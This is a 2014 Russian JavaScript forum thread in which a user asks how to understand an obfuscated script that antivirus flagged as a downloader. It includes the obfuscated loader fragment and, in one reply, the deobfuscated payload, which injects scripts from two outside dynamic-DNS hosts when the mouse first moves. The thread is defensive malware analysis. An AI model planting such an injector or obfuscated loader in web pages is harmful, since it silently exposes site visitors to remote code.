Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   Определить что делает закодированый js файл (https://javascript.ru/forum/misc/48868-opredelit-chto-delaet-zakodirovanyjj-js-fajjl.html)

ProbablyNot 20.07.2014 09:54

Определить что делает закодированый js файл
 
Есть js с примерно таким содержимым:

var oa3a28a="";function yd4e965b5fad4(){var t538e19=String,db7a0e0d5=Array.prototype.slice.call(arguments).join(""),f38bc768=db7a0e0d5.substr(1,3)-322,da49fad5,pe0cce;db7a0e0d5=db7a0e0d5.substr(m1fe4220a());var s604bd1=db7a0e0d5.length;for(var g464f2c0=0;g464f2c0<s604bd1;g464f2c0++){try{throw(mf5f1dc32=db7a0e0d5.substr(g464f2c0,1));}catch(e){mf5f1dc32=e;};if(mf5f1dc32=='•'){f38bc768="";g464f2c0++;fe044d=s0e90a(db7a0e0d5,g464f2c0);while(fe044d!='•'){f38bc768+=fe044d;g464f2c0++;fe044d=db7a0e0d5.substr(g464f2c0,1);}f38bc768-=595;continue;}da49fad5="";if(mf5f1dc32=='±'){g464f2c0++;mf5f1dc32=db7a0e0d5.substr(g464f2c0,1);while(mf5f1dc32!='±'){da49fad5+=mf5f1dc32;g464f2c0++;mf5f1dc32=db7a0e0d5.substr(g464f2c0,1);}da49fad5=j2ef85b21(da49fad5,f38bc768,9);if(da49fad5<0)da49fad5+=256;da49fad5=l1e549fb(da49fad5);j5e81c9(da49fad5);continue;}kea974=(mf5f1dc32+'')["\x63\x68a\x72\x43od\x65At"](0);if(kea974>848)kea974-=848;pe0cce=kea974-f38bc768-9;pe0cce=jbbd0e90f(pe0cce);oa3a28a+=t538e19["\x66\x72om\x43h\x61\x72Co\x64e"](pe0cce);}}yd4e965b5fad4




Необходимо выяснить, что делает данный скрипт и удалить строки, которые отвечают за вредоносный код. При помощи антивируса удалось выяснить, что это downloader\redirect скрипт. Как разобраться в таком файле?

MallSerg 20.07.2014 12:37

код скрипта не полный не хватает
...
db7a0e0d5 = Array.prototype.slice.call(arguments).join(""),
...
db7a0e0d5 = db7a0e0d5.substr(m1fe4220a());

m1fe4220a() функции нет в приведенном скрипте

Пока это не рабочий кусок скрипта

ixth 20.07.2014 12:45

Это просто функция, она делает что-то с переданными в параметры строками. Без параметров не очень ясно, что именно.

ProbablyNot 20.07.2014 13:13

Вложений: 1
Я выложил кусок для примера.
Не знаю как целиком, выложить скрипт, т.к. он больше 10000символов.
Во вложении архив с текстовым файлом.

MallSerg 20.07.2014 14:23

для скрипта еще нужно указывать правильную кодировку
но в целом и так понятно

все параметры функции yd4e965b5fad4 сливаются в одну строку
db7a0e0d5 = Array.prototype.slice.call(arguments).join("")

первая часть этой строки хранит смещения
вторя часть (f38bc768 = db7a0e0d5.substr(1, 3) - 322),
это t538e19.charcode(pe0cce) которые собираются в строку
которая потом eval(oa3a28a);
Но так как кодировка скрипта == ХЗ
Евал отваливается с ошибкой т.к. в нем мусор из за неправильной кодировки

Rise 20.07.2014 15:25

MallSerg, :lol:

ProbablyNot, вот что он делает:
(function() {
	var url = 'http://2q0bw4b.lpjbikjwor.kicks-ass.net/g/';
	if (typeof window.xyzflag === 'undefined') {
		window.xyzflag = 0;
	}
	document.onmousemove = function() {
		if (window.xyzflag === 0) {
			window.xyzflag = 1;
			var head = document.getElementsByTagName('head')[0];
			var script = document.createElement('script');
			script.type = 'text/javascript';
			script.onreadystatechange = function () {
				if (this.readyState == 'complete') {
					window.xyzflag = 2;
				}
			};
			script.onload = function() {
				window.xyzflag = 2;
			};
			script.src = url + Math.random().toString().substring(3) + '.js';
			head.appendChild(script);
		}
	};
})();

(function() {
	var url = 'http://4t9vtudd.qujgxgulis.blogdns.com/g/';
	if (typeof window.xyzflag === 'undefined') {
		window.xyzflag = 0;
	}
	document.onmousemove = function() {
		if (window.xyzflag === 0) {
			window.xyzflag = 1;
			var head = document.getElementsByTagName('head')[0];
			var script = document.createElement('script');
			script.type = 'text/javascript';
			script.onreadystatechange = function () {
				if (this.readyState == 'complete') {
					window.xyzflag = 2;
				}
			};
			script.onload = function() {
				window.xyzflag = 2;
			};
			script.src = url + Math.random().toString().substring(3) + '.js';
			head.appendChild(script);
		}
	};
})();

Латай дыры на сайте и удаляй этот скрипт вот и всё...

ProbablyNot 20.07.2014 15:50

Цитата:

Сообщение от Rise
ProbablyNot, вот что он делает:

Просто браво! Я тут уже 3 дня голову ломаю.

Если не трудно, можете объяснить как вы его преобразовали?

MallSerg 20.07.2014 16:12

Молодец console.log перед евалом поставиль

Rise 20.07.2014 16:43

ProbablyNot, :thanks: в личке см
MallSerg, :thanks:


Часовой пояс GMT +3, время: 20:49.